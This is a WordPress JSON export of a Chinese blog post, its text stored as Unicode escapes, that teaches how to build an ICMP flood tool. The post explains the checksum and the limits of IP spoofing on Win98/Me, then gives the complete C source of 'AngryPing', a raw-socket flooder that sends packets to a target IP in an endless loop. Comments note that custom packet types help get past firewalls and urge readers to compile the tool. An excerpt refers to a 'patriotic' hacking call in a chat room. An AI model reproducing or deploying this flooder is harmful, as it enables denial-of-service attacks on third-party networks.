3.\u6821\u9a8c\u548c
\n\u8ba1\u7b97\u65b9\u6cd5\uff1a\u5148\u8bbe\u7f6e\u5934\u6821\u9a8c\u548c\u57df\u7684\u6570\u503c\u4e3a0\uff0c\u7136\u540e\u5bf9\u6574\u4e2a\u6570\u636e\u62a5\u5934\u6309\u6bcf16\u4f4d\u6c42\u5f02\u6216\uff0c\u518d\u628a\u7ed3\u679c\u53d6\u53cd\uff0c\u5c31\u5f97\u5230\u4e86\u6821\u9a8c\u548c\u3002
\n\u51fd\u6570\uff1a<\/p>\n

\n
\u5f15\u7528\u81ea <\/u><\/div>\n
USHORT checksum(USHORT *buffer, int size)
\n{
\nunsigned long cksum=0;
\nwhile(size >1)
\n{
\ncksum+=*buffer++;
\nsize -=sizeof(USHORT);
\n}
\nif(size )
\n{
\ncksum += *(UCHAR*)buffer;
\n}
\ncksum = (cksum >> 16) + (cksum & 0xffff);
\ncksum += (cksum >>16);
\nreturn (USHORT)(~cksum);
\n}<\/div>\n<\/div>\n

4.\u5fc5\u987b\u6ce8\u610f\u7684\u95ee\u9898
\n\u7531\u4e8eWin98\/Me\u7cfb\u7edf\u4e0d\u652f\u6301IP-Spoof\uff0c\u6240\u4ee5\u65e0\u6cd5\u7528setsockopt\u8bbe\u7f6eIP_HDRINCL\u8ba9\u7528\u6237\u81ea\u5df1\u586b\u5145IP\u5934\u90e8\uff0c\u6240\u4ee5 Win98\/Me\u4e0d\u80fd\u5b9e\u73b0IP\u4f2a\u9020\uff01\u5982\u679c\u6709\u4eba\u505a\u7684\u53f7\u79f0\u80fd\u4f2a\u9020IP\u7684\u5de5\u5177\u800c\u4e14\u53c8\u652f\u6301Win98\/Me\uff0c\u90a3\u4e00\u5b9a\u662f\u5439\u51fa\u6765\u7684\uff0c\u56e0\u4e3a\u8fd9\u662f\u7cfb\u7edf\u9650\u5236\uff0c\u7a0b\u5e8f\u6ca1\u6cd5\u89e3\u51b3\u7684\u3002\u800c\u4e14\u81ea\u5df1\u586b\u5145IP\u5934\u90e8\u540e\uff0cCheckSum\u5c31\u4e0d\u662f\u7531\u7cfb\u7edf\u8ba1\u7b97\u4e86\uff0c\u8fd9\u65f6\u5019\u4f60\u7684CheckSum\u8ba1\u7b97\u51fd\u6570\u5c31\u53d8\u6210\u74f6\u9888\u4e86\uff0c\u8fd9\u5c31\u662f\u4f2a\u9020IP\u540e\u7684Flooder \u53d1\u9001\u901f\u5ea6\u4e0d\u591f\u7cfb\u7edf\u8ba1\u7b97CheckSum\u7684Flooder\u5feb\u7684\u539f\u56e0\u4e86\uff0c\u9664\u975e\u4f18\u5316\u8fc7CheckSum\u51fd\u6570\u3002\u9650\u4e8e\u7bc7\u5e45\uff0c\u91c7\u7528IP-Spoof\u6280\u672f\u7684 FakePing\u548cSmurf\u5c31\u4e0d\u8ba8\u8bba\u4e86\u3002<\/p>\n

5.\u5b8c\u6574\u4ee3\u7801
\n\u505a\u4e00\u4e2aConsole Application\u5de5\u7a0b\uff0c\u8f93\u5165\u4e0b\u9762\u7684\u4ee3\u7801\u3002\u5982\u679c\u4f18\u5316\u5f97\u5f53\uff0c\u6700\u7ec8\u7f16\u8bd1\u751f\u6210\u7684EXE\u4e5f\u5c314096\u5b57\u8282\u800c\u5df2\uff0c\u5475\u5475\uff0cjust do it\u2026\u2026<\/p>\n

\n
\u5f15\u7528\u81ea <\/u><\/div>\n
==================================================
\n\/*
\nagp.c<\/p>\n

AnGryPing — ICMP Flooder by HBU\u00b7\u5c0f\u91d1(LK007)
\nCopyright? 2002
\nE-MAIL:lk007@163.com
\n*\/<\/p>\n

#include <stdio.h>
\n#include <winsock2.h>
\n#include <ws2tcpip.h>
\n#pragma comment(lib, "ws2_32.lib")
\n\/\/\u5934\u6587\u4ef6\u548c\u5e93\u6587\u4ef6\u58f0\u660e\uff0c\u5982\u679c\u4e0d\u80fd\u7f16\u8bd1\uff0c\u8bf7\u5728Link\u91cc\u52a0\u4e0aws2_32.lib<\/p>\n

#define false 0
\n#define true 1<\/p>\n

#define SEQ 0x28376839<\/p>\n

\/\/ \u5b9a\u4e49ICMP\u9996\u90e8
\ntypedef struct _ihdr
\n{
\nBYTE i_type; \/\/8\u4f4d\u7c7b\u578b
\nBYTE i_code; \/\/8\u4f4d\u4ee3\u7801
\nUSHORT i_cksum; \/\/16\u4f4d\u6821\u9a8c\u548c
\nUSHORT i_id; \/\/\u8bc6\u522b\u53f7
\nUSHORT i_seq; \/\/\u62a5\u6587\u5e8f\u5217\u53f7
\nULONG timestamp; \/\/\u65f6\u95f4\u6233
\n}ICMP_HEADER;<\/p>\n

\/\/\u8ba1\u7b97\u6821\u9a8c\u548c\u7684\u5b50\u51fd\u6570
\nUSHORT checksum(USHORT *buffer, int size)
\n{
\nunsigned long cksum=0;
\nwhile(size >1)
\n{
\ncksum+=*buffer++;
\nsize -=sizeof(USHORT);
\n}
\nif(size )
\n{
\ncksum += *(UCHAR*)buffer;
\n}
\ncksum = (cksum >> 16) + (cksum & 0xffff);
\ncksum += (cksum >>16);
\nreturn (USHORT)(~cksum);
\n}<\/p>\n

int main(int argc, char **argv)
\n{
\nint datasize,ErrorCode,flag;
\nint TimeOut=2000, SendSEQ=0, PacketSize=32,type=8,code=0,counter=0; \/\/\u9ed8\u8ba4\u6570\u636e\u58f0\u660e
\nchar SendBuf[65535]=; \/\/\u7f13\u51b2
\nWSADATA wsaData;
\nSOCKET SockRaw=(SOCKET)NULL;
\nstruct sockaddr_in DestAddr;
\nICMP_HEADER icmp_header;
\nchar DestIp[20]; \/\/\u76ee\u6807IP<\/p>\n

if (argc<2)
\n{
\nprintf("AngryPing by HBU-LK007\\n");
\nprintf("Usage:%s [Dest] <PacketSize> <type> <code>\\n",argv[0]);
\n\/\/\u5141\u8bb8\u7528\u6237\u81ea\u5b9a\u4e49\u6570\u636e\u5305\u5927\u5c0f\u3001\u7c7b\u578b\u3001\u4ee3\u7801\uff0c\u7528\u4ee5\u7ed5\u8fc7\u4e00\u4e9b\u9632\u706b\u5899\u6216\u505a\u4e00\u4e9b\u7279\u6b8a\u7684\u62a5\u6587Flood
\nexit(0);
\n}
\nstrcpy(DestIp,argv[1]);
\nif (argc>2) PacketSize=atoi(argv[2]); \/\/\u53d6\u5f97\u6570\u636e\u5927\u5c0f
\nif (PacketSize>65500)
\n{
\nprintf("Packet size must less than 65500\\n"); \/\/\u592a\u5927\u4f1a\u65e0\u6cd5\u751f\u6210IP\u6570\u636e\u62a5\u7684
\nexit(0);
\n}<\/p>\n

if (argc>3) type=atoi(argv[3]); \/\/\u53d6\u5f97\u7c7b\u578b\u503c
\nif (type>16)
\n{
\nprintf("Type must less than 16\\n");
\nexit(0);
\n}<\/p>\n

if (argc>4) code=atoi(argv[4]); \/\/\u53d6\u5f97\u4ee3\u7801\u503c<\/p>\n

\/\/\u521d\u59cb\u5316SOCK_RAW
\nif((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
\n{
\nfprintf(stderr,"WSAStartup failed: %d\\n",ErrorCode);
\nexit(0);
\n}<\/p>\n

if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
\n{
\nfprintf(stderr,"WSASocket failed: %d\\n",WSAGetLastError());
\nexit(0);
\n}
\nflag=TRUE;<\/p>\n

{<\/p>\n

\/\/\u8bbe\u7f6e\u53d1\u9001\u8d85\u65f6
\nErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
\nif (ErrorCode==SOCKET_ERROR)
\n{
\nfprintf(stderr,"Failed to set send TimeOut: %d\\n",WSAGetLastError());
\nexit(1);
\n}<\/p>\n

\/\/\u4e3b\u8981\u4ee3\u7801\u5f00\u59cb
\nprintf("Dest:%s packet:%d type:%d code:%d\\n\\n",argv[1],PacketSize,type,code);
\nprintf("Starting…\\n\\n"); \/\/\u89c6\u89c9\u6548\u679c:P
\nmemset(&DestAddr,0,sizeof(DestAddr));
\nDestAddr.sin_family=AF_INET;
\nDestAddr.sin_addr.s_addr=inet_addr(DestIp); \/\/\u586b\u5145Socket\u7ed3\u6784
\n\/\/\u586b\u5145ICMP\u9996\u90e8
\nicmp_header.i_type = type;
\nicmp_header.i_code = code;
\nicmp_header.i_cksum = 0; \/\/\u6821\u9a8c\u548c\u7f6e0
\nicmp_header.i_id = 2;
\nicmp_header.timestamp = GetTickCount(); \/\/\u65f6\u95f4\u6233
\nicmp_header.i_seq=999;
\nmemcpy(SendBuf, &icmp_header, sizeof(icmp_header)); \/\/\u7ec4\u5408ICMP\u62a5\u6587\u548c\u5934\u90e8
\nmemset(SendBuf+sizeof(icmp_header), 'E', PacketSize); \/\/\u7528E\u586b\u5145ICMP\u6570\u636e
\nicmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); \/\/\u8ba1\u7b97\u6821\u9a8c\u548c<\/p>\n

datasize=sizeof(icmp_header)+PacketSize; \/\/\u8ba1\u7b97\u6574\u4e2a\u6570\u636e\u5305\u5927\u5c0f
\n\/\/\u5f00\u59cb\u53d1\u9001
\nwhile(1){ \/\/\u65e0\u9650\u5faa\u73af\uff0c\u6309Ctrl+C\u8df3\u51fa
\n\/*
\n\u8fd9\u91cc\u7684printf\u5b9e\u9645\u4e0a\u662f\u4e3a\u4e86\u5ef6\u65f6\uff0cFlood\u7a0b\u5e8f\u6700\u597d\u522b\u7528\u8fd9\u4e48\u534e\u4e3d\u7684\u754c\u9762\u6216\u5b57\u7b26\u63d0\u793a\u6765\u7f8e\u5316\u81ea\u5df1\uff0c\u8fd9\u6837\u4f1a\u8fc5\u901f\u62d6\u6162\u7a0b\u5e8f\u6548\u7387\uff01\u5f53\u7136\uff0c\u5982\u679c\u80fd\u4e0d\u663e\u793a\u6700\u597d\uff0c\u4f46\u6211\u53bb\u6389printf\u540e\uff0c\u7a0b\u5e8f\u6b7b\u6389\u4e86\uff08\u592a\u5feb\uff1f\uff09\u5982\u679c\u4f60\u89c9\u5f97\u201cSending 1024 packets…\u201d\u8fd8\u662f\u5927\u5927\u589e\u52a0\u4e86\u5ef6\u65f6\uff0c\u53ef\u4ee5\u6539\u6210printf("."); \u4e00\u4e2a\u5c0f\u70b9\u3002\u53cd\u6b63\u662f\u81ea\u5df1\u7528\uff0c\u7528\u5f97\u987a\u624b\u5c31\u53ef\u4ee5\u3002
\n*\/
\nprintf("Sending 1024 packets…\\n");
\nfor(counter=0;counter<1024;counter++){ \/\/\u5faa\u73af\u53d1\u90011024\u4e2a\u6570\u636e\u5305\u4e3a\u4e00\u7ec4
\n\/\/\u53d1\u9001ICMP\u62a5\u6587
\nErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
\nif (ErrorCode==SOCKET_ERROR) printf("\\nSend Error:%d\\n",GetLastError());
\n}
\n}
\n}<\/p>\n

{
\nif (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
\nWSACleanup();
\n}
\nreturn 0;
\n}
\n\/\/\u4ee3\u7801\u7ed3\u675f<\/p><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

\u51e0\u5e74\u524d\u7684\u67d0\u5929\u665a\u4e0a9\u65f6\uff0c\u4e24\u4e2a\u201c\u5927\u867e\u201d\u8fdb\u5165\u4e00\u4e2a\u804a\u5929\u5ba4\uff0c\u63d0\u8bae\u91cc\u9762\u768450\u591a\u4e2a\u7f51\u6c11\u201c\u53bb\u54cd\u5e94\u53f7\u53ec\uff0c\u505a\u7231\u56fd\u7684\u4e8b\u201d\uff0c\u4ee5\u4e0b\u662f\u539f\u8bdd […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_crdt_document":"","footnotes":""},"categories":[],"tags":[],"class_list":["post-396","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/www.mudone.com\/index.php?rest_route=\/wp\/v2\/posts\/396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mudone.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mudone.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mudone.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mudone.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=396"}],"version-history":[{"count":0,"href":"https:\/\/www.mudone.com\/index.php?rest_route=\/wp\/v2\/posts\/396\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.mudone.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mudone.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mudone.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}